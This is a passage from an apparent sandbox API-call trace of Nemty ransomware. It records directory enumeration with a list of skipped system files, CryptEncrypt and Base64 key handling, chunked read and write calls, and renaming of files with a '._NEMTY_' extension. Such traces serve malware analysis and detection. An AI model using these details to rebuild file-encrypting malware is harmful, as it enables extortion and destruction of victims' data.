pcchString=0x653ec5c) returned 1 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0084.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.675] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.676] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0084.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.695] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.695] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.695] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0084.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.791] CloseHandle (hObject=0xffffffff) returned 0 [0084.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0084.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0084.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340328 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.792] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.792] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2=".") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="..") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="...") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="windows") returned -1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="rsa") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="NTDETECT.COM") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="ntldr") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="MSDOS.SYS") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="IO.SYS") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="boot.ini") returned 1 [0084.792] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="boot.ini") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="ntuser.dat") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="desktop.ini") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="CONFIG.SYS") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="RECYCLER") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="bootmgr") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="programdata") returned 1 [0084.793] lstrcmpiW (lpString1="shadowonlyframe_buttongraphic.png", lpString2="appdata") returned 1 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943a8 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943a8 | out: hHeap=0x4f90000) returned 1 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.793] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowonlyframe_buttongraphic.png", lpUsedDefaultChar=0x0) returned 33 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0084.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0084.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0084.794] Sleep (dwMilliseconds=0x5) [0084.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe630f730, dwHighDateTime=0x1d561e7)) [0084.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe630f730, dwHighDateTime=0x1d561e7)) [0084.799] GetLastError () returned 0x5 [0084.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0084.799] GetLastError () returned 0x5 [0084.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0084.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0084.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0084.800] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0084.800] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0084.800] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="Y5wI5yOUsqP29idr2L3GX+MrWtrswxvcBrwZ/ESIlbv8DbkJwYHT3WkGtW9sh8GM\r\nELbZdEc5hs8wxEPEueDQpIgMgKWSU6m3iIMfFmQ+Ex8MiM7Za5fFbaDoGHviZav1\r\n/kNSZ16+vhNLRHdrEMduyOAITRdIL7mP50RfyR2OAv6QO6p8/BRqta8cCsU2kbrL\r\nWNPe+kawVbg7jxeCEAF5ZWeuG6WaawXNYEFPt4OZZVRMb/HvSMPICvwNHIHEUnOg\r\nMpEjMPPeSP9lDCOeb/T1H6pvihouH0F2Ivs6MI/qnHMCS1f5Tvjf4DiLyjr3Af5L\r\nuRuHphU7lanidQevMByMTA==\r\n", pcchString=0x653ec5c) returned 1 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0084.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.800] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0084.800] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0084.800] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0084.800] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0084.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0084.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: 